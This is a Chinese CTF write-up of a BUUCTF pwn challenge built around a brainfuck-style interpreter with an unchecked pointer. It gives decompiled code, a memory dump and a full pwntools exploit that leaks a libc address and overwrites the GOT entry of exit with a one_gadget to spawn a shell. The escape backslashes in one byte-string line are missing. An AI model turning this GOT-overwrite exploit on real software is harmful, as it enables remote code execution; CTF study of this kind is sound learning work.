又捡到一个搜不到exp的简单题
PIE没开,got也可写,然后是一个有点像虚拟机的指针操作
if ( byte_6028E1 == 62 ) // >
++byte_6024C0;
if ( byte_6028E1 == 60 ) // <
--byte_6024C0;
if ( byte_6028E1 == 43 ) // +
++byte_6020C0[byte_6024C0];
if ( byte_6028E1 == 45 ) // -
--byte_6020C0[byte_6024C0];
if ( byte_6028E1 == 46 ) // .
_IO_putc(byte_6020C0[byte_6024C0], stdout);
if ( byte_6028E1 == 44 ) // ,
read(0, &byte_6020C0[byte_6024C0], 1uLL);
用<>来移动指针,“.”输出,“,”输入 .有个小坑就是他用1字节表示长度向前最大到0x80也就是输入长度不能超过128
先看下指针附近的结构
0x602050: 0x00007f9fcae7be80 0x0000000000400756 0x602060 : 0x0000000000400766 0x0000000000000000 <- one 0x602070: 0x0000000000000000 0x0000000000000000 0x602080 : 0x00007f9fcb1d1620 0x0000000000000000 0x602090 : 0x00007f9fcb1d08e0 0x0000000000000000 0x6020a0 : 0x00007f9fcb1d1540 0x0000000000000000 <- leak 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000
从0x6020c0开始向前只能改到got.exit 中途可以泄露stderr,stdin,stdout随便一个就行
from pwn import *
p = remote('node4.buuoj.cn', 28540)
libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'
p.sendlineafter(b'Put the code: ', b'<'*0x20 + b'.>'*5 + b'<'*0x45 + b',>'*6) #7c
libc_base = u64(p.recv(5) + b'x7fx00x00') - libc_elf.sym['_IO_2_1_stderr_']
#p.sendlineafter(b'Put the code: ', b'<'*(0x20-5) + b'<.'*5 + b'<'*(0x45-5-6) + b'<,'*6) #6c
#libc_base = u64(p.recv(5)[::-1] + b'x7fx00x00') - libc_elf.sym['_IO_2_1_stderr_']
one_gadget = libc_base + one[3]
print('libc:', hex(libc_base))
p.send(p64(one_gadget))
#p.send(p64(one_gadget)[:6][::-1])
p.interactive()
如果为了节省字节,可以倒着读倒着写又可以省20多个字节。不过咱不是很穷,有富裕。如果把指针放到0x6020d0就得精打细算了。


![[BUUCTF-pwn] wdb [BUUCTF-pwn] wdb](http://www.mshxw.com/aiimages/31/450809.png)
